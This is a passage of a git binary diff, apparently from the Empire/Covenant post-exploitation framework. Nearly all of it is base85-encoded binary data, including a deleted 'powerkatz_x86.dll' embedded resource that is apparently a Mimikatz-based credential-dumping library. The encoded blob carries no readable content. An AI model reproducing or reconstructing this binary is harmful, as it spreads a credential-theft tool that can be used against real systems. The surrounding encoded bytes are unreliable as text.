zGv7v;apTOnNoHM(NXilG6+P=tL=ll&A$DtB9wIf*3OfEzYpBa!Mg7d7QPxh2`LoFE zsfYp}y&tC6lk|3hUasmH)7oVv-LZoDnH|k~XR*!&>>hBFJLFjJ$64`9tZ!A;A2sY? z#3zQstS(X37i)xvta9!HUVAprpqI>|g}fq9J~2)%A(=#r&LyJRH(DLztaM4%I*ZjV z$9h*}y(_cgxmfQ!tav`wJU^>mkaaK2$`@tri_?xI>tBJ@t;qVO)MVABeg0ZYc8tvk zqf$oTYfrpm?GI*(0~N9%H!Tj(;uv{QhE|tYp=-3s2r(YagRfa*Q|6Fk%z=g{(Rzx7azW@UZ&$SbzMiKta}^Fk{C{R-inS)pl;{ zV{MiBEX0f!VNQ!NtCe@kuL9}FPI+g5H88>YH_qDk+PHnAyeB@9;Y8o@NOhBEddW0f zh?fA_W{7+*=S+}wrpP-pWS)6)&vCNP68UG#U}!K-_LC(4v52m>&!Xg^Co30o zZ_!>A+^h;-)`b>UhBupmWj%0HHyg;t$!Bwn_p;=& z{>kbx!otN2>t|+-GNW4LutnxlMgHm|D#EPCN!H;4qrXbl>LF(hlCj3gS93%`nHkna zrs`)TMd@{mxwgnSQuMEno(AM`AG#I z$$aJ@qjKXb@5IhFNS+_YZ|{6GxyiY_WL>X~s@G#7|XHd zz4bVY>z((z86{zR|0sI~OYa@??8^UdjE>jmNITEGW_FdiwKA|{{q?h=1(|8XgAsQ4 zG4}WgR<{)U{0uw&yk47&taN3)A60sd3$Wi0vEz@h=Z~@L-!VsL*!$-vvVpgsuOsYw z6FaTxip)V)^EX<-E%vZEMni#pY>|Czm7S~_ap?VnSMMMKdJiEvN1Q!vl3BoFUz=lR zyJJP37)6}4PF7=bp877vk&L2U$B;*_ERxwrbw+RLe7-<7UuF-i7$s(e_}K-^&O=5= zoR!96CtT2TONG6MLyrSLD~rT`T+cDGs+f$ftarn1eHs#*I03QVa=m!{e3E*@jK0?6 zVSl{qS`nQ%iQ0KQ6!o6D`ZgyjF?~WMyXYJ_M1ZrBrDD^gb)}3QLtfM^j-*9Fq^M2{Sa9UWII3@JFK|cTHqoZW+g_Yh3 z?>x%~cFM2g`qasq$gO3pR0nG8WgMLC%4jjWFu&y5%=ra9&&!TRb~ApmDKpEP99%|F z{$0-RW+d%8dK`LJX1#7sf2%PPf5RDFpAa#JlPhtirtCAKn7wZVqCk)c_rgbum>7vEPJ{`J@Gd<-7f8Nwp|@?*)bFtRQjA>PD#qN zMb7->tWQq&WJQ(}J? z>|yECVGrjPQAT@#lPMP`QE~>Awj*E97VNR8DoFXY! z6WKFZ>@~yWJAQVTWlkI7%}GK~$hjbAY(Y*~EY8rXJ#uO$=Ve9SPk4AAp;#d;-W2%zU9>63 zs0=a&U5vRLXDLBESsn7@#qzKZ4{HA*9@srQazieWDW5 zqcwwP{CK4-{b=#Cs=%+`4p{g^_SgaTQRPmb-T@?74{Ef@&-|YtmnkyeyP4&~oI+*T z^H$St_DNxSGQ%ljmA-6Yw;E@sTIqG^H#R=b;~q_UFi3Ydn*mOf`W|i@ZH?6QyC+_6$8<9ddJK6sFHJ zWR=xn7wd5dPh0kBQJGyA51E_F&m~LDy6yc|XySy<(kF9yeKuFM_f_Hvzdmhiv9}dwehw1{^yf~n%-x6^*%GI_nCRdutb*ZGXv}!ldO9sPG>zt zS7hQuCpYmntTyo$%s=t=D>3obt2nWrcTc?M3QxS>%1pf1s!qJmYMD53dTr($pE#YB zY|W$3dP2l>L}zQ6T~2o1XkL6LJCG{9DJxTpJ|zt4{YPBCAG7qzG_Kz}R_JAye#7S1 z@5sXX-CBZuhKcEd&f|8>my*Hx^xHCdLlMzuhDrU#ET{JxvMR}5!(s0s z2$K4Zn#4|t=#hQ*uBQ`uJzJOc`?MWr6k*0&hVfQqytPccuaNoZt@3bm_GngFN)V|J&IE{|_b)(~JNB diff --git a/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll b/empire/server/csharp/Covenant/Data/EmbeddedResources/SharpSploit.Resources.powerkatz_x86.dll deleted file mode 100644 index 3bac0f6f1b73872ff5e20abcb10cd904370e2b83..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1221632 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 